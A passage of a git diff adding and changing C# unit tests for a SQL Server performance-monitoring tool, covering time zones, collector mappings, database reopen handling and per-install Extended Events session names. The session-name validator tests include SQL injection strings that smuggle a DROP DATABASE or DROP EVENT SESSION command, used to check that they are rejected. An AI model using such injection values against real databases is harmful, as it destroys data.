+        var viaTab = JobHistoryTab.JobHistoryZone(7, new Dictionary<int, ServerClock>(), new Dictionary<int, ServerClock> { [7] = eastern });
+        Assert.True(yesterday.TryResolve(now, viaTab, out var viaTabRange, out _));
+        Assert.Equal(inEastern.StartUtc, viaTabRange!.StartUtc);
+        Assert.Equal(TimeZoneInfo.Local, JobHistoryTab.JobHistoryZone(7, null, null));
+    }
+
+    [Fact]
+    public void TheAlertAndFinOpsPickers_ReadInTheDisplayModesZone()
+    {
+        var eastern = ServerClock.Resolve("Eastern Standard Time", -300);
+        var mode = ServerTimeHelper.CurrentDisplayMode;
+        var clock = ServerTimeHelper.ActiveServerClock;
+        try
+        {
+            ServerTimeHelper.ActiveServerClock = eastern;
+            ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            Assert.Equal(TimeZoneInfo.Utc, ServerTimeHelper.CurrentDisplayZone);
+            ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.LocalTime;
+            Assert.Equal(TimeZoneInfo.Local, ServerTimeHelper.CurrentDisplayZone);
+            ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+            Assert.Equal(eastern.AsTimeZone().BaseUtcOffset, ServerTimeHelper.CurrentDisplayZone.BaseUtcOffset);
+        }
+        finally
+        {
+            ServerTimeHelper.ActiveServerClock = clock;
+            ServerTimeHelper.CurrentDisplayMode = mode;
+        }
+    }
+
+    // ---- R3: the sample note names the sub-tab's main collector ----
+
+    [Theory]
+    [InlineData("Wait Stats", null, "wait_stats")]
+    [InlineData("Queries", "Active Queries", "query_snapshots")]
+    [InlineData("Queries", "Top Procedures by Duration", "procedure_stats")]
+    [InlineData("Queries", "Query Store by Duration", "query_store")]
+    [InlineData("Memory", "Memory Clerks", "memory_clerks")]
+    [InlineData("Memory", "Memory Grants", "memory_grant_stats")]
+    [InlineData("Blocking", "Current Waits", "waiting_tasks")]
+    [InlineData("Blocking", "Deadlocks", "deadlocks")]
+    [InlineData("System Events", "Default Trace", "default_trace_events")]
+    [InlineData("System Events", "Severe Errors", "system_health_events")]
+    [InlineData("Latches & Spinlocks", null, "latch_stats")]
+    [InlineData("Running Jobs", null, "running_jobs")]
+    [InlineData("Overview", null, null)]
+    [InlineData("Configuration", "Trace Flags", null)]
+    [InlineData("Daily Summary", null, null)]
+    public void MainCollectorFor_NamesTheSubTabsOwnCollector(string tab, string? sub, string? expected)
+        => Assert.Equal(expected, LiteTimeRange.MainCollectorFor(tab, sub));
+
+    [Fact]
+    public void MainCollectors_AreRealCollectorsWithAShippedCadence()
+    {
+        var names = new[]
+        {
+            "wait_stats", "query_stats", "query_snapshots", "procedure_stats", "query_store", "plan_correction", "cpu_utilization",
+            "memory_stats", "memory_clerks", "memory_grant_stats", "memory_pressure_events", "file_io_stats", "tempdb_stats",
+            "blocked_process_report", "waiting_tasks", "deadlocks", "perfmon_stats", "running_jobs", "latch_stats",
+            "cpu_scheduler_stats", "plan_cache_stats", "session_stats", "default_trace_events", "system_health_events"
+        };
+        foreach (var name in names)
+        {
+            Assert.True(CollectorScheduleDefaults.All.ContainsKey(name), name);
+        }
+    }
+
+    [Fact]
+    public void SampleIntervalForCollector_UsesTheSchedule_ThenTheShippedDefault()
+    {
+        Assert.Null(LiteTimeRange.SampleIntervalForCollector(null, null));
+        Assert.Equal(TimeSpan.FromMinutes(5), LiteTimeRange.SampleIntervalForCollector("query_store", null)); /* shipped default */
+        Assert.Equal(TimeSpan.FromMinutes(15), LiteTimeRange.SampleIntervalForCollector("query_store", new CollectorSchedule { Name = "query_store", Enabled = true, FrequencyMinutes = 15 }));
+        Assert.Null(LiteTimeRange.SampleIntervalForCollector("query_store", new CollectorSchedule { Name = "query_store", Enabled = false, FrequencyMinutes = 5 }));
+        Assert.Null(LiteTimeRange.SampleIntervalForCollector("server_config", null)); /* on load: no cadence */
+    }
+
+    [Fact]
+    public void ServerTab_SampleNoteFollowsTheSubTabOnScreen_NotWaitStatsForEverything()
+    {
+        var tab = LiteFile(Path.Combine("Controls", "ServerTab.TimeRange.cs"));
+        var main = LiteFile("MainWindow.xaml.cs");
+
+        Assert.DoesNotContain("MainCollectorName", tab, StringComparison.Ordinal);
+        Assert.Contains("CurrentMainCollector() is { } collector ? _sampleIntervalProvider?.Invoke(collector)", tab, StringComparison.Ordinal);
+        Assert.Contains("Selector.SelectionChangedEvent", tab, StringComparison.Ordinal);
+        Assert.Contains("SampleIntervalForCollector(", main, StringComparison.Ordinal);
+        Assert.DoesNotContain("\"wait_stats\"", main.Substring(main.IndexOf("SetSampleIntervalSource", StringComparison.Ordinal), 600), StringComparison.Ordinal);
+    }
+
+    // ---- R7: every banner site feeds the picker's data start ----
+
+    [Fact]
+    public void EveryBannerSite_FeedsThePickersDataStart()
+    {
+        /* The call sites of ApplyWindowFloorToBanner outside its definition, by file. A new site must either feed the picker
+           (ServerTab.FeedDataStart / the Job History tab's onFloor) or be added here with the reason it cannot. */
+        var expected = new[]
+        {
+            ("Controls/JobHistoryTab.xaml.cs", 1, "onFloor?.Invoke(floor)"),                       /* the tab's own picker */
+            ("Controls/LiteBlockingLaneDataStart.cs", 1, "onStartChosen?.Invoke(start)"),          /* Overview lanes, fed by the tab */
+            ("Controls/ServerTab.BlockingChartsDataStart.cs", 1, "FeedDataStart("),
+            ("Controls/ServerTab.Refresh.cs", 1, "FeedDataStart(LiteTimeRange.CollectorOfRelation(relation), floor)"),
+            ("Windows/CollectionLogWindow.xaml.cs", 1, null),                                      /* its own window: no picker */
+        };
+
+        var root = Path.GetFullPath(Path.Combine(Path.GetDirectoryName(ThisFile())!, "..", "Lite"));
+        var sites = Directory.EnumerateFiles(root, "*.cs", SearchOption.AllDirectories)
+            .Where(f => !f.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar) && !f.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar))
+            .Select(f => (File: f, Calls: Regex.Matches(File.ReadAllText(f), @"(?<![/<=.\w])(ServerTab\.)?ApplyWindowFloorToBanner\(", RegexOptions.None)
+                .Count(m => !IsDocOrDefinition(File.ReadAllText(f), m.Index))))
+            .Where(x => x.Calls > 0)
+            .ToList();
+
+        Assert.Equal(expected.Length, sites.Count);
+        foreach (var (relative, calls, feed) in expected)
+        {
+            var full = Path.Combine(root, relative.Replace('/', Path.DirectorySeparatorChar));
+            var site = Assert.Single(sites, s => s.File == full);
+            Assert.Equal(calls, site.Calls);
+            if (feed is not null)
+            {
+                Assert.Contains(feed, File.ReadAllText(full), StringComparison.Ordinal);
+            }
+        }
+
+        /* The central funnel feeds for every relation, and the tab points the picker at the page on screen. */
+        var refresh = LiteFile(Path.Combine("Controls", "ServerTab.Refresh.cs"));
+        Assert.DoesNotContain("if (relation == QueryWindowRelation.QueryStats)\n        {\n            RangePicker.DataStartUtc", refresh, StringComparison.Ordinal);
+        Assert.Contains("RangePicker.SetLongestChoice(LiteTimeRange.AlertHistoryLongestChoice, ", LiteFile(Path.Combine("Controls", "AlertsHistoryTab.xaml.cs")), StringComparison.Ordinal);
+        Assert.Contains("CorrelatedLanes.DataStartFound +=", LiteFile(Path.Combine("Controls", "ServerTab.xaml.cs")), StringComparison.Ordinal);
+    }
+
+    private static string ThisFile([CallerFilePath] string path = "") => path;
+
+    private static bool IsDocOrDefinition(string text, int index)
+    {
+        var lineStart = text.LastIndexOf('\n', index) + 1;
+        var line = text.Substring(lineStart, text.IndexOf('\n', index) is var e and >= 0 ? e - lineStart : text.Length - lineStart).TrimStart();
+        return line.StartsWith("//", StringComparison.Ordinal) || line.StartsWith("///", StringComparison.Ordinal)
+            || line.StartsWith("*", StringComparison.Ordinal) || line.StartsWith("/*", StringComparison.Ordinal)
+            || line.Contains("internal static bool ApplyWindowFloorToBanner(", StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void CollectorOfRelation_NamesARealCollectorForEveryScheduledRelation()
+    {
+        foreach (var relation in Enum.GetValues<QueryWindowRelation>())
+        {
+            var name = LiteTimeRange.CollectorOfRelation(relation);
+            if (name is not null)
+            {
+                Assert.True(CollectorScheduleDefaults.All.ContainsKey(name), relation + " -> " + name);
+            }
+        }
+    }
+}
diff --git a/Lite.Tests/LlmsTxtCollectorCensusTests.cs b/Lite.Tests/LlmsTxtCollectorCensusTests.cs
index cbf3b3f45e..0b4fc7cc02 100644
--- a/Lite.Tests/LlmsTxtCollectorCensusTests.cs
+++ b/Lite.Tests/LlmsTxtCollectorCensusTests.cs
@@ -26,6 +26,7 @@ namespace Lite.Tests;
 /// <para>Every match is checked, not only the first, so a second mention of a count cannot go stale behind
 /// the first one.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class LlmsTxtCollectorCensusTests
 {
     [Theory]
diff --git a/Lite.Tests/LocalDatabaseReopenTests.cs b/Lite.Tests/LocalDatabaseReopenTests.cs
index 49887cb510..8d7fe083f6 100644
--- a/Lite.Tests/LocalDatabaseReopenTests.cs
+++ b/Lite.Tests/LocalDatabaseReopenTests.cs
@@ -42,6 +42,9 @@ public class LocalDatabaseReopenTests : IDisposable
     private readonly string _dbPath;
     private readonly string _configDir;
 
+    /* #5208/#5321: OpenAsync hands the initializer to its caller, so the class keeps the list and closes any a test left open. */
+    private readonly List<DuckDbInitializer> _initializers = [];
+
     public LocalDatabaseReopenTests()
     {
         CollectionResetGate.ResetForTests();
@@ -53,6 +56,11 @@ public LocalDatabaseReopenTests()
 
     public void Dispose()
     {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
         CollectionResetGate.ResetForTests();
 
         try
@@ -69,6 +77,7 @@ public void Dispose()
     private async Task<DuckDbInitializer> OpenAsync(ILogger<DuckDbInitializer>? logger = null)
     {
         var duckDb = new DuckDbInitializer(_dbPath, logger) { ReopenDelays = [TimeSpan.Zero] };
+        _initializers.Add(duckDb);
         await duckDb.InitializeAsync();
         return duckDb;
     }
@@ -121,7 +130,7 @@ private static async Task AwaitReopenAsync(DuckDbInitializer duckDb)
     [Fact]
     public async Task AFatalErrorInACollectorRun_ReopensTheDatabase_AndTheNextRunWrites()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             var serverManager = new ServerManager(_configDir);
@@ -161,7 +170,7 @@ error came from went with the old instance. */
     [Fact]
     public async Task TheSentinelProbe_StartsTheReopen_WhenNoCollectorReportsTheError()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             ForceFatalError(duckDb);
@@ -193,7 +202,7 @@ public async Task TheSentinelProbe_StartsTheReopen_WhenNoCollectorReportsTheErro
     [Fact]
     public async Task WhenEveryReopenFails_LiteStopsAfterThreeAttempts_AndSaysCollectionIsStopped()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
 
         /* A connection nobody closes keeps the invalidated instance alive, so the first statement of every attempt
            fails, as it would on a file that cannot be opened again. */
@@ -231,7 +240,7 @@ public async Task WhenEveryReopenFails_LiteStopsAfterThreeAttempts_AndSaysCollec
     [Fact]
     public async Task AnErrorThatIsNotFatal_StartsNoReopen_AndAWrappedFatalErrorIsStillSeen()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             DuckDBException notFatal;
@@ -292,7 +301,7 @@ public void TheStatusLine_SaysWhatHappenedAndWhen()
     [Fact]
     public async Task AFatalErrorWhileACollectorReads_TheReopenWaitsForThatRun_ThenSucceeds()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             var (service, server) = AzureCollector(duckDb);
@@ -353,7 +362,7 @@ public async Task AFatalErrorWhileACollectorReads_TheReopenWaitsForThatRun_ThenS
     [Fact]
     public async Task AFatalErrorDuringAPerDatabaseRun_EndsTheLoop_SoNoLaterDatabaseIsRead()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             var (service, server) = AzureCollector(duckDb);
@@ -387,7 +396,7 @@ public async Task AFatalErrorDuringAPerDatabaseRun_EndsTheLoop_SoNoLaterDatabase
     [Fact]
     public async Task TheQueryStoreBackfill_SkipsWhileTheDatabaseIsDown_AndSaysSoOnce()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             var log = new CollectorLog();
@@ -432,7 +441,7 @@ public async Task TheQueryStoreBackfill_SkipsWhileTheDatabaseIsDown_AndSaysSoOnc
     [Fact]
     public async Task ACollectorRun_SkipsWhileTheDatabaseIsDown_AndOneLineSaysSoEachWay()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             var log = new CollectorLog();
@@ -485,7 +494,7 @@ public async Task ACollectorRun_SkipsWhileTheDatabaseIsDown_AndOneLineSaysSoEach
     [InlineData("collection paused")]
     public async Task WithNoCollectionRunning_TheReopenStillRuns(string why)
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             var serverManager = new ServerManager(_configDir);
@@ -520,7 +529,7 @@ public async Task WithNoCollectionRunning_TheReopenStillRuns(string why)
     [Fact]
     public async Task AfterFiveReopensInOneRun_TheNextFatalError_LeavesTheDatabaseFailed()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             Assert.Equal(5, DuckDbInitializer.MaxReopenCycles);
@@ -550,7 +559,7 @@ public async Task AfterFiveReopensInOneRun_TheNextFatalError_LeavesTheDatabaseFa
     [Fact]
     public async Task ADisposeWhileAnAttemptRuns_LeavesNoSentinelOpen()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         ForceFatalError(duckDb);
 
         /* Lite closes while the attempt is opening the file. The attempt finishes its open, and then must close the
@@ -568,7 +577,7 @@ public async Task ADisposeWhileAnAttemptRuns_LeavesNoSentinelOpen()
     public async Task AReopenThatWaitsLongForACollection_WarnsWithTheRunningCount_AndKeepsWaiting()
     {
         var log = new DatabaseLog();
-        var duckDb = await OpenAsync(log);
+        using var duckDb = await OpenAsync(log);
         try
         {
             duckDb.ReopenGateWarningInterval = TimeSpan.FromMilliseconds(50);
@@ -614,7 +623,7 @@ static int RunningCountWarnings(DatabaseLog log) => log.Entries.Count(e =>
     [Fact]
     public async Task ACallerHoldingAReadFromBeforeTheReopen_CannotLogItBackwards_SoResumesIsLoggedOnce()
     {
-        var duckDb = await OpenAsync();
+        using var duckDb = await OpenAsync();
         try
         {
             var log = new CollectorLog();
diff --git a/Lite.Tests/LogTailOverlapThresholdPinTests.cs b/Lite.Tests/LogTailOverlapThresholdPinTests.cs
index e2491be2aa..e7f62e4690 100644
--- a/Lite.Tests/LogTailOverlapThresholdPinTests.cs
+++ b/Lite.Tests/LogTailOverlapThresholdPinTests.cs
@@ -33,6 +33,7 @@ namespace Lite.Tests;
 /// is a claim nobody checks — a regex that silently matches nothing would "pass" while proving nothing,
 /// which is the same shape as the drift itself.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class LogTailOverlapThresholdPinTests
 {
     private static string RepoFile(string relativePath)
diff --git a/Lite.Tests/LongQueryBannerSessionScopeTests.cs b/Lite.Tests/LongQueryBannerSessionScopeTests.cs
new file mode 100644
index 0000000000..fde65a0b73
--- /dev/null
+++ b/Lite.Tests/LongQueryBannerSessionScopeTests.cs
@@ -0,0 +1,83 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using Darling.Tests;
+using PerformanceMonitorLite.Controls;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Lite's Long Queries banner, shown while the long-query completion trace is off. Its last sentence says where
+/// turning the trace on creates the Extended Events session. On Azure SQL Database the session is per monitored
+/// database (<c>LongQueryCompletionsCollector.RunsPerDatabase</c>), so the banner says so for that target and keeps
+/// the server wording for every other one.
+/// </summary>
+public sealed class LongQueryBannerSessionScopeTests
+{
+    [Fact]
+    public void TheLiteBanner_TakesItsTextFromTheTarget_NotFromAFixedServerSentence()
+    {
+        var xaml = File.ReadAllText(RepoPath("Lite", "Controls", "ServerTab.xaml"));
+        var name = xaml.IndexOf("x:Name=\"LongQueriesDisabledWarning\"", StringComparison.Ordinal);
+        Assert.True(name >= 0, "the Long Queries tab has its disabled-trace banner");
+        var banner = xaml[name..xaml.IndexOf("/>", name, StringComparison.Ordinal)];
+        Assert.DoesNotContain("session on this server", banner, StringComparison.Ordinal);
+
+        var source = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(RepoPath("Lite", "Controls", "ServerTab.LongQueries.cs")));
+        var at = source.IndexOf("private async Task RefreshLongQueriesAsync(", StringComparison.Ordinal);
+        Assert.True(at >= 0, "RefreshLongQueriesAsync must exist");
+        var refresh = CSharpSourceWalker.BraceBalanced(source, source.IndexOf('{', at));
+        Assert.Contains("LongQueriesDisabledWarning.Text = LongQueriesDisabledText(_isAzureSqlDatabase)", refresh, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheLiteBanner_OnAzureSqlDatabase_SaysEachMonitoredDatabase_NotThisServer()
+    {
+        var text = ServerTab.LongQueriesDisabledText(isAzureSqlDatabase: true);
+
+        Assert.EndsWith(
+            "Enabling it creates this install's Extended Events session in each monitored database. Disabling it drops that session from every database that has it, except where another registration of that database still has the trace on. A database that is also monitored as its own server follows that server's setting.",
+            text,
+            StringComparison.Ordinal);
+        Assert.DoesNotContain("session on this server", text, StringComparison.Ordinal);
+        Assert.Contains("Settings → Collector Schedules → Edit (Default or per-server)", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheLiteBanner_OnAnyOtherTarget_KeepsTheServerSentence()
+    {
+        var text = ServerTab.LongQueriesDisabledText(isAzureSqlDatabase: false);
+
+        Assert.EndsWith(
+            "Enabling it creates this install's Extended Events session on this server. Disabling it drops that session, unless another registration of this install on the same instance still has the trace on.",
+            text,
+            StringComparison.Ordinal);
+        Assert.DoesNotContain("monitored database", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheLiteBanner_NamesTheSessionAsThisInstalls_NotAsOneSessionEveryInstallShares()
+    {
+        foreach (var isAzureSqlDatabase in new[] { true, false })
+        {
+            var text = ServerTab.LongQueriesDisabledText(isAzureSqlDatabase);
+
+            Assert.Contains("this install's Extended Events session", text, StringComparison.Ordinal);
+            Assert.DoesNotContain("PerformanceMonitor_LongQueryCompletions", text, StringComparison.Ordinal);
+        }
+    }
+
+    private static string RepoPath(params string[] parts) => Path.Combine([RepoRoot(), .. parts]);
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/LongQueryCompletionsCollectorDefinitionTests.cs b/Lite.Tests/LongQueryCompletionsCollectorDefinitionTests.cs
index 6cab6fc1ff..10ebd0d72b 100644
--- a/Lite.Tests/LongQueryCompletionsCollectorDefinitionTests.cs
+++ b/Lite.Tests/LongQueryCompletionsCollectorDefinitionTests.cs
@@ -39,6 +39,11 @@ public sealed class LongQueryCompletionsCollectorDefinitionTests
 {
     private static readonly RecordingCollectorDeltaCalculator s_deltas = new();
 
+    /* An install id and the session name this install makes from it (#4961). */
+    private const string TestId = "0a1b2c3d";
+    private const string OtherId = "ffffffff";
+    private static readonly string Session = LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, TestId);
+
     private static CollectorContext MakeContext(
         bool isAzureSqlDb = false,
         DateTime? watermark = null,
@@ -47,6 +52,7 @@ private static CollectorContext MakeContext(
         {
             ServerId = 42,
             ServerName = "test-server",
+            LongQuerySessionName = Session,
             CollectionTime = collectionTime ?? new DateTime(2026, 7, 18, 12, 0, 0, DateTimeKind.Utc),
             Deltas = s_deltas,
             Target = new CollectorTargetInfo { IsAzureSqlDb = isAzureSqlDb },
@@ -60,7 +66,7 @@ public void Identity_And_ThresholdDefault()
         Assert.Equal("long_query_completions", LongQueryCompletionsCollector.Instance.TargetTable);
         Assert.Equal("event_time", LongQueryCompletionsCollector.Instance.WatermarkColumn);
         Assert.Equal("long_query_completion_id", LongQueryCompletionsCollector.Instance.PrefixIdColumnName);
-        Assert.Equal("PerformanceMonitor_LongQueryCompletions", LongQueryCompletionsCollector.XeSessionName);
+        Assert.Equal("PerformanceMonitor_LongQueryCompletions", LongQueryCompletionsCollector.LegacyXeSessionName);
         /* The Dashboard's SQL Trace default (install/30_collect_trace_management.sql): 2 seconds in µs. */
         Assert.Equal(2_000_000, LongQueryCompletionsCollector.DefaultDurationThresholdMicroseconds);
     }
@@ -91,7 +97,8 @@ public void BuildQuery_ServerScoped_UsesServerDmvs_AndEventFilter()
 
         Assert.Contains("sys.dm_xe_session_targets AS xet", plan.Text, StringComparison.Ordinal);
         Assert.DoesNotContain("dm_xe_database_session_targets", plan.Text, StringComparison.Ordinal);
-        Assert.Contains("N'PerformanceMonitor_LongQueryCompletions'", plan.Text, StringComparison.Ordinal);
+        Assert.Contains($"N'{Session}'", plan.Text, StringComparison.Ordinal);
+        Assert.DoesNotContain("N'PerformanceMonitor_LongQueryCompletions'", plan.Text, StringComparison.Ordinal);
         Assert.Contains("event[@name=\"rpc_completed\" or @name=\"sql_batch_completed\" or @name=\"attention\"]", plan.Text, StringComparison.Ordinal);
         /* The time filter runs inside the XQuery; a .value() cast in WHERE shreds every event first. */
         Assert.Contains("WHERE evt.exist('@timestamp[. > sql:variable(\"@cutoff_time\")]') = 1", plan.Text, StringComparison.Ordinal);
@@ -257,7 +264,7 @@ public async Task ReadAsync_PerDatabasePath_CaptureDatabaseWinsOverParsedValue()
     [Fact]
     public void BuildCreateSessionSql_ServerScoped_PredicateOnCompletedOnly_AttentionUnfiltered()
     {
-        var sql = LongQueryCompletionsCollector.BuildCreateSessionSql(databaseScoped: false, 2_000_000);
+        var sql = LongQueryCompletionsCollector.BuildCreateSessionSql(Session, databaseScoped: false, 2_000_000);
 
         Assert.Contains("ON SERVER", sql, StringComparison.Ordinal);
         Assert.Contains("ADD EVENT sqlserver.rpc_completed", sql, StringComparison.Ordinal);
@@ -309,7 +316,7 @@ public void BuildCreateSessionSql_ServerScoped_EmitsAllNineActions_InOrder_OnEve
            on-prem branch came through that refactor emitting exactly what it emitted before — all nine,
            in the same order, on each of the three events — and that the Azure stand-in did NOT leak into
            the on-prem DDL (on-prem keeps server_principal_name itself; sqlserver.username is Azure-only). */
-        var sql = LongQueryCompletionsCollector.BuildCreateSessionSql(databaseScoped: false, 2_000_000);
+        var sql = LongQueryCompletionsCollector.BuildCreateSessionSql(Session, databaseScoped: false, 2_000_000);
 
         foreach (var action in s_onPremActions)
         {
@@ -349,7 +356,7 @@ public void AzureSqlDbUnavailableActions_IsExactlyTheTwoKnownRejects_AndEveryMem
     [Fact]
     public void BuildCreateSessionSql_Azure_DatabaseScoped_CarriesNoRejectedAction_SubstitutesUsername_AndOmitsPartitionMode()
     {
-        var sql = LongQueryCompletionsCollector.BuildCreateSessionSql(databaseScoped: true, 2_000_000);
+        var sql = LongQueryCompletionsCollector.BuildCreateSessionSql(Session, databaseScoped: true, 2_000_000);
 
         Assert.Contains("ON DATABASE", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("ON SERVER", sql, StringComparison.Ordinal);
@@ -442,23 +449,215 @@ QueryStoreCollectorDefinitionTests does. */
     [Fact]
     public void BuildStartSessionSql_ScopeSelected()
     {
-        Assert.Equal("ALTER EVENT SESSION [PerformanceMonitor_LongQueryCompletions] ON SERVER STATE = START;",
-            LongQueryCompletionsCollector.BuildStartSessionSql(databaseScoped: false));
-        Assert.Equal("ALTER EVENT SESSION [PerformanceMonitor_LongQueryCompletions] ON DATABASE STATE = START;",
-            LongQueryCompletionsCollector.BuildStartSessionSql(databaseScoped: true));
+        Assert.Equal($"ALTER EVENT SESSION [{Session}] ON SERVER STATE = START;",
+            LongQueryCompletionsCollector.BuildStartSessionSql(Session, databaseScoped: false));
+        Assert.Equal($"ALTER EVENT SESSION [{Session}] ON DATABASE STATE = START;",
+            LongQueryCompletionsCollector.BuildStartSessionSql(Session, databaseScoped: true));
+    }
+
+    [Fact]
+    public void BuildStopSessionSql_StopsOnlyASessionThatRunsOnTheReplica_AndTakesOnlyAnInstallNameOrTheLegacyOne()
+    {
+        var stop = LongQueryCompletionsCollector.BuildStopSessionSql(Session);
+
+        Assert.Contains("FROM sys.dm_xe_database_sessions", stop, StringComparison.Ordinal);
+        Assert.Contains($"WHERE name = N'{Session}'", stop, StringComparison.Ordinal);
+        Assert.Contains($"ALTER EVENT SESSION [{Session}] ON DATABASE STATE = STOP;", stop, StringComparison.Ordinal);
+        Assert.DoesNotContain("DROP", stop, StringComparison.Ordinal);
+        Assert.DoesNotContain("ON SERVER", stop, StringComparison.Ordinal);
+
+        /* The session older versions shared between installs is stopped the same way, before its drop. */
+        Assert.Contains(
+            $"ALTER EVENT SESSION [{LongQueryCompletionsCollector.LegacyXeSessionName}] ON DATABASE STATE = STOP;",
+            LongQueryCompletionsCollector.BuildStopSessionSql(LongQueryCompletionsCollector.LegacyXeSessionName),
+            StringComparison.Ordinal);
+        Assert.Throws<ArgumentException>(() => LongQueryCompletionsCollector.BuildStopSessionSql("master'; DROP DATABASE x;--"));
     }
 
     [Fact]
     public void BuildDropSessionSql_IsIdempotentlyGuarded_PerScope()
     {
-        var serverDrop = LongQueryCompletionsCollector.BuildDropSessionSql(databaseScoped: false);
+        var serverDrop = LongQueryCompletionsCollector.BuildDropSessionSql(Session, databaseScoped: false);
         Assert.Contains("sys.server_event_sessions", serverDrop, StringComparison.Ordinal);
-        Assert.Contains("DROP EVENT SESSION [PerformanceMonitor_LongQueryCompletions] ON SERVER;", serverDrop, StringComparison.Ordinal);
+        Assert.Contains($"DROP EVENT SESSION [{Session}] ON SERVER;", serverDrop, StringComparison.Ordinal);
         Assert.Contains("IF EXISTS", serverDrop, StringComparison.Ordinal);
 
-        var databaseDrop = LongQueryCompletionsCollector.BuildDropSessionSql(databaseScoped: true);
+        var databaseDrop = LongQueryCompletionsCollector.BuildDropSessionSql(Session, databaseScoped: true);
         Assert.Contains("sys.database_event_sessions", databaseDrop, StringComparison.Ordinal);
-        Assert.Contains("DROP EVENT SESSION [PerformanceMonitor_LongQueryCompletions] ON DATABASE;", databaseDrop, StringComparison.Ordinal);
+        Assert.Contains($"DROP EVENT SESSION [{Session}] ON DATABASE;", databaseDrop, StringComparison.Ordinal);
         Assert.Contains("IF EXISTS", databaseDrop, StringComparison.Ordinal);
     }
+
+    /* ── #4961: the session is one per install, named from the product and the install's id ── */
+
+    [Theory]
+    [InlineData("Lite", "0a1b2c3d", "PerformanceMonitor_Lite_0a1b2c3d_LongQueryCompletions")]
+    [InlineData("Darling", "ffffffff", "PerformanceMonitor_Darling_ffffffff_LongQueryCompletions")]
+    public void XeSessionNameFor_IsTheProductAndTheIdInTheName(string product, string id, string expected)
+    {
+        Assert.Equal(expected, LongQueryCompletionsCollector.XeSessionNameFor(product, id));
+        Assert.Equal(expected, LongQueryCompletionsCollector.TryXeSessionNameFor(product, id));
+        Assert.True(LongQueryCompletionsCollector.IsInstallSessionName(expected));
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("0A1B2C3D")]
+    [InlineData("0a1b2c3")]
+    [InlineData("0a1b2c3d4")]
+    [InlineData("0a1b2c3g")]
+    [InlineData("0a1b2c3d\n")]
+    [InlineData("0a1b2c3]")]
+    public void XeSessionNameFor_WithoutAValidId_Throws_AndNeverFallsBackToTheLegacyName(string? id)
+    {
+        Assert.Throws<ArgumentException>(() => LongQueryCompletionsCollector.XeSessionNameFor(LongQueryCompletionsCollector.LiteProduct, id));
+        Assert.Null(LongQueryCompletionsCollector.TryXeSessionNameFor(LongQueryCompletionsCollector.DarlingProduct, id));
+    }
+
+    [Fact]
+    public void XeSessionNameFor_RefusesAProductThatIsNotLiteOrDarling()
+    {
+        Assert.Throws<ArgumentException>(() => LongQueryCompletionsCollector.XeSessionNameFor("lite", TestId));
+        Assert.Throws<ArgumentException>(() => LongQueryCompletionsCollector.XeSessionNameFor("Other", TestId));
+    }
+
+    [Theory]
+    [InlineData("PerformanceMonitor_LongQueryCompletions")]
+    [InlineData("PerformanceMonitor_Other_0a1b2c3d_LongQueryCompletions")]
+    [InlineData("PerformanceMonitor_Lite_0A1B2C3D_LongQueryCompletions")]
+    [InlineData("PerformanceMonitor_Lite_0a1b2c3d_LongQueryCompletions]; DROP EVENT SESSION [x] ON SERVER;--")]
+    [InlineData("PerformanceMonitor_Lite__LongQueryCompletions")]
+    [InlineData("")]
+    public void IsInstallSessionName_RefusesTheLegacyNameAndAnythingThatIsNotMadeFromAnId(string name)
+    {
+        Assert.False(LongQueryCompletionsCollector.IsInstallSessionName(name));
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void BuildCreateSessionSql_PerInstance_StartsOff_OnBothScopes(bool databaseScoped)
+    {
+        var sql = LongQueryCompletionsCollector.BuildCreateSessionSql(Session, databaseScoped, 2_000_000);
+
+        Assert.Contains("STARTUP_STATE = OFF", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("STARTUP_STATE = ON", sql, StringComparison.Ordinal);
+        Assert.Contains($"CREATE EVENT SESSION [{Session}]", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheSharedDeadlockAndBlockedProcessDdl_KeepsStartupStateOn()
+    {
+        /* The server-scoped DDL is each host's own, inline in the ensure: one ON in each file, and no OFF. The
